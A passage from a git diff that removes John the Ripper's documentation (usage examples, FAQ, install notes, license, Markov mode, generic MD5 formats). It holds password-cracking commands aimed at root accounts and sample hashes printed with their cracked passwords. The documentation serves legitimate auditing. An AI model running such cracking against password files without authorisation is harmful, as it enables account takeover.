-You should be using John itself to display the contents of its "pot -file" in a convenient format: - - john --show mypasswd - -If the account list gets large and doesn't fit on the screen, you -should, of course, use your shell's output redirection. - -You might notice that many accounts have a disabled shell. You can make -John skip those in the report. Assuming that the disabled shell is -called "/etc/expired", the command would be: - - john --show --shells=-/etc/expired mypasswd - -or shorter, but will also match "/any/path/expired": - - john --show --shells=-expired mypasswd - -or if you also want to ignore some other shell, say "/etc/newuser": - - john --show --shells=-expired,newuser mypasswd - -To check if any root (UID 0) accounts got cracked: - - john --show --users=0 mypasswd - -or to check for cracked root (UID 0) accounts in multiple files: - - john --show --users=0 *passwd* *.pwd - -To display the root (username "root") account only: - - john --show --users=root mypasswd - -And finally, to check for privileged groups: - - john --show --groups=0,1 mypasswd - -4. You might prefer to manage the cracking modes manually. It is wise -to start with "single crack" mode: - - john --single mypasswd - -or since the GNU-style double dashes are optional and since option -names can be abbreviated for as long as they remain unambiguous: - - john -si mypasswd - -You should not abbreviate options in scripts which you would want to -work with future versions of John since what is unambiguous now might -become ambiguous with the addition of more options. - -If you have more files to crack, it is preferable to load them at the -same time: - - john --single passwd1 passwd2 - -or even: - - john --single *passwd* *.pwd - -This way, John will run faster and might even crack more passwords than -it would if you ran it on each password file separately. - -5. To catch weak passwords not derived from readily available users' -personal information, you should proceed with cracking modes demanding -more processor time. First, let's try a tiny wordlist with word -mangling rules enabled: - - john --wordlist=password.lst --rules mypasswd - -or abbreviating the options: - - john -w=password.lst -ru mypasswd - -Then proceed with a larger wordlist, also applying the mangling rules: - - john --wordlist=all.lst --rules mypasswd - -If you've got a lot of spare disk space to trade for performance and the -hash type of your password files is relatively slow, you may use John's -"unique" utility to eliminate any duplicate candidate passwords: - - john --wordlist=all.lst --rules --stdout | unique mangled.lst - john --wordlist=mangled.lst mypasswd - -If you know that your target hash type truncates passwords at a given -length, you may optimize this even further: - - john --wordlist=all.lst --rules --stdout=8 | unique mangled8.lst - john --wordlist=mangled8.lst mypasswd - -Alternatively, you may simply use huge.lst available on Openwall -wordlist collection CDs. It has word mangling rules pre-applied for the -most common languages and it has any duplicates purged. - -Depending on target hash type, the number of different salts (if -applicable), the size of your wordlist, rules, and processor -performance, wordlist-based cracking may take anywhere from under a -second to many days. - -You do not have to leave John running on a (pseudo-)terminal. If -running John on a Unix-like system, you can simply disconnect from the -server, close your xterm, etc. John will catch the SIGHUP ("hangup" -signal) and continue running. Alternatively, you may prefer to start it -in the background right away: - - john --wordlist=all.lst --rules mypasswd & - -Obviously, the "&" is specific to Unix shells and will not work on most -other platforms. - -You may further enhance this by specifying a session name: - - john --session=allrules --wordlist=all.lst --rules mypasswd & - -This ensures that you won't accidentally interfere with the instance of -John running in the background if you proceed to start other sessions. - -To view the status of a running session, use: - - john --status - -for the default session or: - - john --status=allrules - -for any other session. This works for both interrupted and running -sessions. To obtain the most up-to-date information from a running -session on a Unix-like system, send a SIGHUP to the appropriate "john" -process. - -Any interrupted sessions may be continued with: - - john --restore - -or: - - john --restore=allrules - -Finally, to make John have less impact on other processes, you should -set the option "Idle = Y" in the configuration file (see CONFIG). The -default may vary depending on the version and build of JtR. - -To only crack accounts with a "good" shell (in general, the shell, user, -and group filters described above work for all cracking modes as well): - - john --wordlist=all.lst --rules --shells=sh,csh,tcsh,bash mypasswd - -Like with all other cracking modes, it is faster to crack all the files -you need cracked simultaneously: - - john --wordlist=all.lst --rules passwd1 passwd2 - -You can crack some passwords only. This will try cracking all root -(UID 0) accounts in all the password files: - - john --wordlist=all.lst --rules --users=0 *passwd* - -Alternatively, you may wish to not waste time cracking your very own -passwords, if you're sure they're uncrackable: - - john --wordlist=all.lst --rules --users=-root,solar *passwd* - -Sometimes it is useful to split your password hashes into two sets which -you crack separately, like: - - john --wordlist=all.lst --rules --salts=2 *passwd* - john --wordlist=all.lst --rules --salts=-2 *passwd* - -This will make John try salts used on two or more password hashes first -and then try the rest. Total cracking time will be almost the same, but -you will get some passwords cracked earlier, which is useful, for -example, for penetration testing and demonstrations to management. -Similarly, you may check all password hashes with a small wordlist, but -only those that you can check faster (with "--salts=2") with a larger -one. With large numbers of password hashes and/or with a highly -non-uniform distribution of salts, it may be appropriate to use a -threshold larger than 2 with "--salts" (sometimes even values as high as -1000 will do). - -Note that the default wordlist rules include ":" (a no-op - try words as -they are in the list) on the first line. If you already ran through a -wordlist without using rules, and then decided to also try the same -wordlist with rules, you'd better comment this line out. - -6. The most powerful cracking mode in John is called "incremental" (not a -proper name, but kept for historical reasons). You can simply run: - - john --incremental mypasswd - -or: - - john -i mypasswd - -This will use the default "incremental" mode parameters, which are -defined in the configuration file's section named either -[Incremental:All] (for most hash types) or [Incremental:LanMan] (for -Windows LM hashes). By default, the [Incremental:All] parameters are -set to use the full printable US-ASCII character set (95 characters) and -to try all possible password lengths from 0 to 8. [Incremental:LanMan] -is similar, except that it takes advantage of LM hashes being -case-insensitive and of their halves limited to 7 characters each. - -Don't expect "incremental" mode sessions to terminate in a reasonable -time (unless all the passwords are weak and get cracked), read MODES for -an explanation of this. - -In some cases it is faster to use some other pre-defined incremental mode -parameters and only crack simpler passwords, from a limited character -set. The following command will try 26 different characters only, -passwords from "a" to "zzzzzzzz" (in an optimal order): - - john -i=alpha mypasswd - -Of course, you can use most of the additional features demonstrated -above for wordlist mode with "incremental" mode as well. For example, -on a large-scale penetration test, you may have John crack only root -(UID 0) accounts in a set of password files: - - john -i -u=0 *.pwd - -7. If you've got a password file for which you already have a lot of -passwords cracked or obtained by other means, and the passwords are -unusual, then you may want to generate a new charset file, based on -character frequencies from that password file only: - - john --make-charset=custom.chr mypasswd - -Then use that new file with "incremental" mode. - -If you've got many password files from a particular country, -organization, etc., it might be useful to use all of them for the -charset file that you then use to crack even more passwords from these -files or from some other password files from the same place: - - john --make-charset=custom.chr passwd1 passwd2 - [ Configure your custom "incremental" mode now. See below. ] - john -i=custom passwd3 - -You can use some pre-defined or custom word filters when generating the -charset file to have John consider some simpler passwords only: - - john --make-charset=my_alpha.chr --external=filter_alpha mypasswd - -If your "pot file" got large enough (or if you don't have any charset -files at all), you might want to use it to generate a new set of main -charset files: - - john --make-charset=all.chr - john --make-charset=alnum.chr --external=filter_alnum - john --make-charset=alpha.chr --external=filter_alpha - john --make-charset=digits.chr --external=filter_digits - john --make-charset=lanman.chr --external=filter_lanman - -In the example above, John will overwrite the charset files with new -ones that are based on your entire $JOHN/john.pot (John uses the entire -"pot file" if you don't specify any password files). Note that the word -filters used here are pre-defined in the configuration file supplied -with John, for your convenience. - -8. Finally, you might want to e-mail all users with weak passwords to -tell them to change their passwords. (This is not always a good idea, -though, since lots of people do not check their e-mail or ignore such -messages, and the messages can be a hint for crackers.) Edit the -"mailer" script supplied with John: the message it sends and possibly -the mail command (especially if the password file is from a different -machine). Then run: - - mailer mypasswd - - - Configuration file. - -Please refer to CONFIG for general information on the configuration file -and its possible locations. - -1. Let's assume that you notice that in some password file a lot of -users have their passwords set to login names with "?!" appended. Then -you just make a new "single crack" mode rule (see RULES for information -on the syntax) and place it somewhere near the beginning: - - [List.Rules:Single] - $?$! - -Hint: if you want to temporarily disable all of the default rules, you -can simply rename the section to something John doesn't use and define -a new one with the section's old name, but be sure to leave the "List." -prefix of the name intact to maintain correct configuration file syntax. - -All the same applies to wordlist mode rules as well. - -2. If you generate a custom charset file (described above) you will also -need to define a configuration file section with the "incremental" mode -parameters. In the simplest case it will be like this (where "Custom" -can be replaced with any name you like): - - [Incremental:Custom] - File = custom.chr - -This way, John will only use characters from passwords used to generate -the charset file only. To make John try some more characters, add: - - Extra = !@#$% - -These extra characters will then be added, but still considered the -least probable. If you want to make sure that, with your extra -characters, John will try all the 95 printable US-ASCII characters, you -can add: - - CharCount = 95 - -This will make John print a warning if it only has fewer than 95 -characters in its charset. - -You can also use CharCount to limit the number of different characters -that John tries, even if the charset file has more: - - CharCount = 20 - -If you didn't use any filters when generating the charset file, setting -CharCount this low will make John never attempt rare characters and -character combinations, not even for really short passwords, spending -the time on simple longer candidate passwords instead. However, the -default length switching is usually smart enough so that you shouldn't -need this trick. - -To make John try passwords of certain lengths only, use the following -lines: - - MinLen = 6 - MaxLen = 8 - -Setting "MinLen" high, as in the example above, is reasonable if shorter -passwords weren't allowed to set on the machine you got the password file -from (however, note that root can usually set any password for any user -and there are often loopholes in operating systems' password policy -enforcement capabilities). - -On the contrary, you may want to set "MaxLen" low if you think there are -a lot of short passwords. - -3. Another example: a lot of users at some site use short duplicated -words as their passwords, such as "fredfred". As the number of such -potential passwords is fairly low, it makes sense to code a new external -cracking mode that tries them all, up to some length. - -You can find the actual implementation of such a cracking mode with lots -of comments in the default configuration file supplied with John. -Please refer to EXTERNAL for information on the programming language -used. - -$Owl: Owl/packages/john/john/doc/EXAMPLES,v 1.8 2009/12/25 16:59:31 solar Exp $ diff --git a/data/john/doc/EXTERNAL b/data/john/doc/EXTERNAL deleted file mode 100755 index c25704cafd..0000000000 --- a/data/john/doc/EXTERNAL +++ /dev/null @@ -1,78 +0,0 @@ - Defining an external mode. - -To define an external cracking mode you need to create a configuration -file section called [List.External:MODE], where MODE is any name that -you assign to the mode. The section should contain some functions -programmed in a subset of the C language. John will compile and use the -functions if you enable this cracking mode via the command line. - - - External functions. - -The following functions are currently used by John: - -init() called at startup, should initialize global variables -filter() called for each word to be tried, can filter some words out -generate() called to generate words, when no other cracking modes used -restore() called when restoring an interrupted session - -All of them are of type "void", with no arguments, and should use the -global variable "word" (pre-defined as "int word[]"), except for init() -which is called before "word" is initialized. The variable "word" -contains the current candidate password to be tried, one character in -each array element, terminated with a zero. - -The functions, if defined, should do the following with "word": - -* filter() can modify the word, or zero out "word[0]" to skip it; - -* generate() should set "word" to the next word to be tried, or zero out -"word[0]" when cracking is complete (this will cause John to terminate); - -* restore() should set global variables to continue from the "word". - -You can use an external mode on its own or with some other cracking -mode, in which case only init() and filter() will be used (and only -filter() will be required). Using an external filter is compatible with -all the other cracking modes and with the "--make-charset" command line -option. - -It is recommended that you don't use filter() or at least don't filter -too many words out when using an external mode with your own generate(). -It is better to modify generate() not to generate words that would get -filtered out. - - - The language. - -As it has been mentioned above, the compiler supports a subset of C. -The supported keywords are: void, int, if, else, while, continue, break, -and return. - -You can define functions to be called by John (the ones described -above), define global and local variables (including single dimensional -arrays), use all the integer operations supported in C, and use C and -C++ comments. - -The following C features are missing from John's compiler: - -* function calls (any functions defined as a part of an external mode -can only be called by John core, but not from within other external mode -functions); - -* only "while" loops are supported; - -* only "int" and "void" data types are supported; - -* only single dimensional arrays are supported; - -* structs/unions are not supported; - -* pointers are not supported (array name refers to the first element); - -* probably something else... - -You can find some external mode examples in the default configuration -file supplied with John. - -$Owl: Owl/packages/john/john/doc/EXTERNAL,v 1.2 2005/11/16 13:11:15 solar Exp $ diff --git a/data/john/doc/FAQ b/data/john/doc/FAQ deleted file mode 100755 index 8b3fe9c493..0000000000 --- a/data/john/doc/FAQ +++ /dev/null @@ -1,234 +0,0 @@ - John the Ripper FAQ. - -The latest version of this FAQ may be viewed online at: - - http://www.openwall.com/john/doc/FAQ.shtml - - - Help! I can't run John. - -If you're not familiar with your OS, you should probably not be using -John in the first place since John is a tool for system administrators. -However, here are the answers to a few (not very) common questions to -avoid having them asked over and over and for amusement. - -Q: When I type "john" (or "john passwd", etc.), it says "command not -found" (or equivalent)?! -A: The examples given in John the Ripper documentation assume that you -know how to invoke newly-built programs from your shell. On Unix-like -systems, it is typical to not have "." (the current directory) in your -$PATH (the list of directories to search for programs). In that case, -you need to type "./john" (dot, slash, and "john", without the quotes) -to invoke the John binary executable located in the current directory. - -Q: ...but I am on a Unix-like system and I don't seem to readily have a -John binary executable. -A: Please follow the instructions in INSTALL. - -Q: When I double-click on "john.exe", a window flashes and disappears?! -A: You're not supposed to click. You're supposed to run John from a -command-line shell. On Windows, some of those shells would be cmd.exe, -command.com, or bash (the latter is available with Cygwin). - - - Other trivial matters. - -Q: How do I start John on my password file, use a specific cracking -mode, see the passwords it cracked, etc? -A: See README and EXAMPLES. :-) - -Q: How do I "unshadow"? -A: See EXAMPLES on how to combine your passwd and shadow files, provided -that you have root access to the target system. - -Q: Why doesn't John load my password file? It says "No password hashes -loaded", "No password hashes loaded (see FAQ)", or "No password hashes -left to crack (see FAQ)". -A: Your password file might be shadowed. You need to get both -/etc/passwd and the shadow file (typically /etc/shadow), and combine -them into one file for use with John. Please refer to EXAMPLES. -A: All of the password hashes found in the file (that are of the same -type as the very first recognized hash in the file unless you're using -the "--format=..." option) might be already cracked by previous -invocations of John. (The message printed in that case has been changed -to "No password hashes left to crack (see FAQ)" starting with version -1.7.7.) To display cracked passwords, use "john --show" on your -password hash file(s). To force John to crack those same hashes again, -remove the john.pot file. -A: With PWDUMP-format files, John focuses on LM rather than NTLM hashes -by default, and it might not load any hashes at all if there are no LM -hashes to crack. To have JtR Pro or a build of JtR with the jumbo patch -focus on NTLM hashes instead, you need to pass the "--format=nt" option. -A: The file you're trying to run John on might in fact not be a password -file at all. -A: Your command line syntax might be wrong, resulting in John trying to -load a wrong file. -A: Your password file format or hash type(s) might not be supported by -John, or at least by the version and build of John that you're using. -If you're positive that this is the case, you may want to check the -contributed resources list on John the Ripper homepage for a suitable -patch and, if unsuccessful with that, post a note to the mailing list -(see CONTACT) including a sample password file line that John does not -load (please make sure that the password is already changed by the time -you post). - -Q: I am getting the error "fopen: ./all.chr: No such file or directory" -(or "fopen: ./lanman.chr: No such file or directory"). -Q: Where are the charset files? -A: Development versions of John the Ripper might not include the charset -files. You're supposed to take them out of the latest official release. - -Q: Where do I get wordlists for use with John? -A: http://www.openwall.com/wordlists/ - -Q: Where do I get new versions of John the Ripper? -Q: Where do I get the source code for John? -Q: I only have the source code for John the Ripper, where do I get it -pre-compiled for my OS (if supported)? -Q: What is the primary website for John the Ripper? -A: http://www.openwall.com/john/ - -Q: How can I contact you (the author)? -A: See CONTACT. - - - (Semi-)advanced topics. - -Q: I've recently switched my system to MD5-based (or Blowfish-based) -password hashes, but there are still some DES-based hashes in the -password file. How do I handle multiple hash types in one file? -A: Use the "--format=..." option to tell John which hashes you would -like it to load. Unfortunately, you will have to run John for each hash -type separately. This requirement may sometimes be avoided with the use -of "--format=crypt", but this is not recommended. Please see the -description of the "--format" option in OPTIONS for more detail. - -Q: I have 10 users, but John said it loaded 15 password hashes. What's -going on? -A: Some extremely poorly designed hash types (Windows LM hashes and -DES-based crypt(3) hashes known as "bigcrypt") have a property that -allows John to split their encodings into two separate hashes -(corresponding to "halves" of plaintext passwords) on load. John then -proceeds to crack those hashes separately, so at a given time it might -have only one of two halves of some passwords cracked. If interrupted -and restarted, it would need to only load the hashes that correspond to -uncracked password halves, so the number of such hashes is what John -reports (in all cases, for consistency). - -Q: Are the strings tried with "-i" ("incremental" mode) random? They -certainly look like they are almost random. -A: No, they are not. No single candidate password will be tried for a -second time and the order in which they are tried is in fact very smart: -it is based on frequencies of different trigraphs, stored and processed -separately for each character position and for each password length. - -Q: Why doesn't John display a progress indicator for the "incremental" -mode? -A: Do you really want to see a 0% all the time? As explained in MODES, -"incremental" mode is not supposed to terminate in a reasonable time. -(There are a few exceptions to this, so a progress indicator might be -added at some point.) - -Q: I am running John for 10 days and it is still not finished?! -Q: How long should I expect John to run? -A: It primarily depends on the cracking mode(s) and on your password -files (in particular, the type of hashes and the number of different -salts, if applicable). Most importantly, you should note that the -"incremental" mode, which a default John run (with no command line -options) proceeds with after being done with the quicker checks, is not -supposed to terminate in a reasonable time. It is up to you to decide -how long you're going to let it run, then consider any uncracked -passwords strong enough. "Single crack" mode runs typically take from -under a second to one day (depending on the type and number of password -hashes). Wordlist mode runs may also be quick (under a second) for -tiny wordlists and fast hashes or they may take multiple days with large -wordlists, with word mangling rules, and with slow hash types and -substantial numbers of different salts. The status line John reports -whenever you hit a key includes a progress indicator (percent complete) -for "single crack" and wordlist modes. With no cracking mode requested -explicitly, John will start with "single crack" mode (pass 1), then -proceed with wordlist mode (pass 2), and finally with "incremental" mode -(pass 3). The pass numbers are reported on the status line, too. It is -reasonable to let John reach "incremental" mode (pass 3) and run that -for a while (some days). You will notice that John's success rate (the -number of passwords cracked per hour or per day) will be dropping -rapidly. When you determine that the success rate is low enough, you -interrupt John. - -Q: Why does John display meaningless c/s values while cracking, instead -of real "crypts per second" rate? -A: The values displayed by John mean combinations (of username and -password) per second, not crypts per second. This is the effective -cracking speed that you get on a particular set of password hashes, and -it may be useful, for example, to tune the "--salts=..." threshold and -other settings. If you want a benchmark of the low-level password -hashing routines only, use "--test". (Future versions of John the -Ripper might report effective and raw c/s rates for different time -intervals. These won't fit on the current status line, though.) - -Q: I just noticed that the c/s rate reported while using "incremental" -mode is a lot lower than it is with other cracking modes. Why? -A: You're probably running John for a few seconds only. The current -"incremental" mode implementation uses large character sets which need -to be expanded into even larger data structures in memory each time John -switches to a different password length. Fortunately, this is only -noticeable when John has just started since the length switches become -rare after a few minutes. For long-living sessions, which is where we -care about performance the most, this overhead is negligible. This is a -very low price for the better order of candidate passwords tried. - -Q: What are the "real" and "virtual" c/s rates as reported by "--test" -(on Unix-like operating systems)? -A: These correspond to real and virtual (processor) time, respectively. -The two results would differ when the system is under other load, with -the "virtual" c/s rate indicating roughly what you could expect to get -from the same machine if it were not loaded. - -Q: How can I test John's password hashing routines for proper operation? -A: John always performs a self-test when you run it on a password file -and refuses to work if an error occurs. If you need to test all of the -low-level routines at once, use "--test". - -Q: Does John support multi-processing or distributed processing? -A: There's currently built-in parallel processing support (to make use -of multiple CPUs and/or CPU cores on a single system) for OpenBSD-style -Blowfish-based crypt(3) (bcrypt) hashes (with John's own optimized code) -and for the underlying system's thread-safe password hashing function -(crypt_r(3) on Linux or crypt(3C) on Solaris). The latter is only -reasonable to use for crypt(3) hash types not yet supported by John -natively (that is, for glibc 2.7+ SHA-crypt hashes as used by recent -versions of Fedora and Ubuntu and for SunMD5 hashes). To use this -limited OpenMP support, you need to make an OpenMP-enabled build of John -by uncommenting one of the OMPFLAGS lines near the beginning of the -Makefile. This requires GCC 4.2+ or another OpenMP-capable C compiler. -For other hash types and/or to distribute the workload between multiple -machines, other approaches need to be used. For a small number of nodes -(CPUs, CPU cores, and/or machines), it is reasonable to use a manual -approach. One of those approaches is to have your nodes try different -password lengths. This is easily accomplished with "incremental" mode's -"MinLen" and "MaxLen" settings (see CONFIG). Typically, you would not -really need to split the workload for "single crack" and wordlist modes -since these are relatively quick, although you may dedicate one node to -those initially. You may safely run multiple instances of John in the -same working directory, all writing to the same "pot file" (this is a -feature). You do, however, need to assign each of them a unique session -name, with "--session". Other approaches, such as splitting password -files naively (without regard to salts), are typically less efficient -(in some cases to the extent where there's no speedup from using -multiple nodes at all). Some advanced and automated approaches are -listed on the wiki at: -http://openwall.info/wiki/john/parallelization - -Q: What is the format of the crash recovery files ("john.rec", other -.rec's)? What do the numbers mean? -A: The format of these files is deliberately undocumented and is subject -to change without notice. (However, each release of John the Ripper is -likely to be able to read .rec files produced by at least the -immediately preceding release. Whenever compatibility is broken, John -will refuse to recover the session, leaving the .rec file intact.) -Although the meaning of some of the numbers that get into .rec files is -trivial to explain, it is not possible to reasonably describe some -others without going into great detail on John internals. If you really -need to know, read the source code. - -$Owl: Owl/packages/john/john/doc/FAQ,v 1.25 2011/04/27 18:02:49 solar Exp $ diff --git a/data/john/doc/HDAA_README b/data/john/doc/HDAA_README deleted file mode 100755 index b5dd0862a5..0000000000 --- a/data/john/doc/HDAA_README +++ /dev/null @@ -1,38 +0,0 @@ - HTTP Digest access authentication - --------------------------------- - - - -- How to create the password string : -------------------------------------- - - -user:$MAGIC$response$user$realm$method$uri$nonce$nonceCount$ClientNonce$qop - -'$' is use as separator, you can change it in HDAA_fmt.c - - -Example of password string : - -user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth - -Here the magic is '$response$' - - - - - -- Demonstration : ------------------ - -Tested on a : AMD Athlon(tm) 64 Processor 3000+ - -$ cat ./htdigest -moi:$response$faa6cb7d676e5b7c17fcbf966436aa0c$moi$myrealm$GET$/$af32592775d27b1cd06356b3a0db9ddf$00000001$8e1d49754a25aea7$auth -user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth - -$ ./john ./htdigest -Loaded 2 password hashes with 2 different salts (HTTP Digest access authentication [HDAA-MD5]) -kikou (moi) -nocode (user) -guesses: 2 time: 0:00:01:27 (3) c/s: 670223 trying: nocode diff --git a/data/john/doc/INSTALL b/data/john/doc/INSTALL deleted file mode 100755 index 26a1a2361c..0000000000 --- a/data/john/doc/INSTALL +++ /dev/null @@ -1,70 +0,0 @@ - Installing John the Ripper. - -First of all, most likely you do not need to install John the Ripper -system-wide. Instead, after you extract the distribution archive and -possibly compile the source code (see below), you may simply enter the -"run" directory and invoke John from there. - -System-wide installation is also supported, but it is intended for use -by packagers of John for *BSD "ports", Linux distributions, etc., rather -than by end-users. (If you're in fact preparing a package of John, -please refer to the JOHN_SYSTEMWIDE setting in src/params.h.) - -You may have obtained the source code or a "binary" (pre-compiled) -distribution of John the Ripper. On Unix-like systems, it is typical -to get the source code and compile it into "binary" executables right -on the system you intend to run John on. On DOS and Windows, however, -it is typical to get a binary distribution which is ready for use. - -The following instructions apply to the source code distribution of -John only. If you have a binary distribution, then there's nothing -for you to compile and you can start using John right away. - - - Compiling the sources on a Unix-like system. - -Enter the directory into which you extracted the source code -distribution of John. Enter the "src" subdirectory and invoke "make" -to obtain a list of operating systems for which specific support -exists: - - cd src - make - -Note the make target for your system and type: - - make clean SYSTEM - -where SYSTEM is the appropriate make target. Alternatively, if your -system is not listed, use: - - make clean generic - -If everything goes well, this will create the executables for John and -its related utilities under "../run/". You can change directory to -there and start John, like this: - - cd ../run - ./john --test - -Alternatively, you may copy the entire "run" directory to anywhere you -like and use John from there. - - - A note on moving binaries between systems. - -With the "generic" make target, certain machine hardware performance -parameters are detected at compile time. Additionally, some OS-specific -make targets tell the C compiler to generate and optimize code for the -machine's specific CPU type (this currently applies to C compilers other -than gcc only). If you then move the binary executable to a different -machine, you might not get the best performance or the program might -not run at all if the CPU lacks features that the C compiler assumed it -would have. Thus, it is recommended to recompile John on each system if -you use one of these make targets. - -Since Linux and *BSD distributions' packages of John typically use make -targets other than "generic" and since they typically use gcc, they are -usually not affected by this potential problem. - -$Owl: Owl/packages/john/john/doc/INSTALL,v 1.5 2010/05/27 13:37:48 solar Exp $ diff --git a/data/john/doc/LICENSE b/data/john/doc/LICENSE deleted file mode 100755 index 74234ffef3..0000000000 --- a/data/john/doc/LICENSE +++ /dev/null @@ -1,42 +0,0 @@ - John the Ripper copyright and license. - -John the Ripper password cracker, -Copyright (c) 1996-2011 by Solar Designer. - -This version of John the Ripper is hereby being made available to you -under the terms of the GNU General Public License version 2 as published -by the Free Software Foundation. - -John the Ripper is distributed in the hope that it will be useful, but -WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -General Public License for more details. - - - Relaxed terms for certain components. - -In addition or alternatively to the license above, the following -components are available to you under more relaxed terms: - -As the copyright holder for the bcrypt (Blowfish-based password hashing) -implementation found in John the Ripper, I have placed a derived version -of this implementation in the public domain. This derived version may -be obtained at: - - http://www.openwall.com/crypt/ - -The intent is to provide modern password hashing for your servers and -your software (where the GPL restrictions could be a problem). - -Additionally, I have placed the CRC-32 implementation (crc32.c, crc32.h) -in the public domain. - - - Commercial licensing. - -Commercial licenses (non-GPL) are available upon request. - --- -Alexander Peslyak aka Solar Designer - -$Owl: Owl/packages/john/john/doc/LICENSE,v 1.12 2011/06/22 13:03:43 solar Exp $ diff --git a/data/john/doc/LICENSE.mpi b/data/john/doc/LICENSE.mpi deleted file mode 100755 index 2f8f78423f..0000000000 --- a/data/john/doc/LICENSE.mpi +++ /dev/null @@ -1,4 +0,0 @@ -This patch for John the Ripper MPI implementation is a continuation of -Ryan Lim's original patch against 1.6.x, later maintained by John -Anderson at bindshell.net, and modified by AoZ and magnum. It is -licensed under the same terms as John the Ripper itself. diff --git a/data/john/doc/MARKOV b/data/john/doc/MARKOV deleted file mode 100755 index accbbc0ddd..0000000000 --- a/data/john/doc/MARKOV +++ /dev/null @@ -1,122 +0,0 @@ -BASIC USAGE -The Markov mode is based from [1], tested and applied to "classical" password -cracking in [2]. This mode similar to the "wordlist" mode because it will only -crack a fixed quantity of passwords. Its parameters are: - ---markov:LEVEL:START:END:LENGTH - -Where: -* LEVEL is the "Markov level". This value is the maximum strength of passwords -that are going to be cracked. When LEVEL increases, the quantity of passwords -that are going to be tested increases exponentially. -* START is the index of the first password that is going to be tested, starting -with 0. -* END is the index of the last password that is going to be tested. When it is -set to 0, it will represent the last possible password. -* LENGTH is the maximum length of the tested passwords. - -using --markov:100:0:0:12 will let john check every password whose length is 12 -or less and whose "Markov strength" is 100 or less. - - -SELECTING THE PARAMETERS -The "LEVEL" parameter should be selected based on the desired maximum running -time. In order to select the appropriate LEVEL, the following steps should be -followed: -1/ Run the -single and -wordlist modes of john, as they will find many passwords -for a low price -2/ Run john with a low markov level on the file, using the time utility. For -example: -******************************************************************************* -time john -markov:180 test -Loaded 156 password hashes with no different salts (NT LM DES [128/128 BS SSE2]) -Warning: MaxLen = 12 is too large for the current hash type, reduced to 7 -MKV start (lvl=180 len=7 pwd=30449568) -guesses: 0 time: 0:00:00:10 99% c/s: 475013K trying: - -real 0m10.707s -user 0m10.621s -sys 0m0.012s -******************************************************************************* -This means that john can test 2.8M (30449568/10.707) passwords / seconds. It -should be noted that with salted passwords the cracking speed will increase with -every cracked password. This number should be corrected based on the experience -of the user. -3/ Evaluate the quantity of passwords that could be cracked during the selected -time. Using the previous example, a cracking time of 3 hours will lead to a -quantity of passwords of 30714M passwords (30449568/10.707*3600*3). -4/ Use the genmkpwd command to find the corresponding level. Using the previous -example, with a maximum password length of 12 (stupid because LM has a maximum -length of 7 ...): -******************************************************************************* -genmkvpwd stats 0 12 -[...] -lvl=245 (5904 Kb for nbparts) 26 G possible passwords (26528306250) -lvl=246 (5928 Kb for nbparts) 29 G possible passwords (29373638087) -lvl=247 (5952 Kb for nbparts) 32 G possible passwords (32524537496) -[...] -******************************************************************************* -Here, the selected level will be 246 (the higher level where the number of -possible passwords is less than 30714M). -5/ Run john: -******************************************************************************* -john -markov:246:0:0:12 test -******************************************************************************* - - -DISTRIBUTING WORK -The START and END parameter could be used to distribute work among many CPUs. -The preferred method is to evaluate the combined cracking speed of all CPUs -(adding the step 2 result for every CPUs available) and follow the previous -method. -At step 5, share the cracking space among all CPUs, where is share is -proportionnal with the CPU's cracking speed. - - -CONFIGURATION OPTIONS -New options are available in the john.conf file: -Statsfile - This is the path of the "stat" file. -MkvLvl - the default level -MkvMaxLen - the default length - - -WHAT IS THE STAT FILE? -The markov mode is based on statistical data from real passwords. This data is -stored in the "stat" file. In order to generate a custom stat file, it is -recommanded to use the new calc_stat command: - -./calc_stat "dictionnary file" stats - - -MKVCALCPROBA USAGE -This program is used to generate statistics about cracked passwords. It accepts -as input the "stat" file and a file with a single cracked password per line. -Here is a sample output: - -******************************************************************************* -./mkvcalcproba stats /tmp/passwordlist -test 33+16+28+20 97 4 40030907 45 -password 29+16+30+22+51+25+24+30 227 8 2698006565378672 177 -32'[[! 55+24+98+1000+23+29 1229 6 39949021871 1169 -charsetsize = 92 -******************************************************************************* - -Its output is tab separated and should open nicely in spreadsheets. Here is the -meaning of the column: -1/ Cracked password, reprinted from the file -2/ Sum of all "markov probabilities" of every letter of the word. This is -supposed to help identify which parts of the password makes them strong. The -number "1000" is written when no 1st/2nd letter combinations were found in the -stat file (for exemple ' then [ here). -3/ Markov strength -4/ Password length -5/ Rank when bruteforced "stupidly" (a, b, c, ..., aa, ab, ac ...) considering -that letters are ordered given their appearance probability and the given -charsetsize (92) -6/ Markov strength of the password where the two first letters are removed - - -REFERENCES - -[1] http://www.cs.utexas.edu/~shmat/shmat_ccs05pwd.ps -[2] http://actes.sstic.org/SSTIC07/Password_Cracking/ diff --git a/data/john/doc/MD5_GENERIC b/data/john/doc/MD5_GENERIC deleted file mode 100755 index 85916a3a29..0000000000 --- a/data/john/doc/MD5_GENERIC +++ /dev/null @@ -1,2540 +0,0 @@ -How to use the 'generic' MD5. - -John has been enhanced to be able to handle MANY md5 variants easily. - -'variants' of MD5 are things like: - -md5($p) (Note, $p is the password, $s will be the salt, etc) -md5(md5($p)) (Note, this is md5 of the 32 byte result of a prior md5) -md5($p.$s) (Note, . is the concatenate operator, so $p.$s is - password with salt appended) -... - -Most of the above rules are php 'style' rules, but I think in php, -$pass is used, and $salt is used. In this document, they have been -simplified to $p and $s. - -This is done by using a new file format string: md5_gen(#) where -the # is a number. John reserves numbers from md5_gen(0) up to -md5_gen(999) for 'built-in' formats. Not all are defined at this -time, but those have been reserved. - -The format of the input file lines will be: - -userID:md5_gen(#)base_16_hash[$salt] - -There may be a 2nd salt added in the near future, but not sure how it -will be implemented. - -Here is an 'example' of the format required: - -userID:md5_gen(0)28fc2782ea7ef51c1104ccf7b9bea13d - -which is 'raw' md5, with a password of 1402 - -userID:md5_gen(6)8d8cac84f234f42e32daeb94e7cd49e8$*.* - -which is in the vBulletin format: md5(md5($p).$s), and which has a -fixed 3 byte salt (the $*.* above is the salt signature, and the -salt is *.*), solomon1 is the password for the above hash. NOTE -vBulletin is actually md5_gen(7). It is the expression format, but -puts to additional constraints on input. md5_gen(7) forces a 3 byte -salt, and it will NOT allow ':' character to be used as a separator, -since vBulletin salts can contain that character. However, the -above md5_gen(6) works for this document, since *.* salt does not -have a ':' - 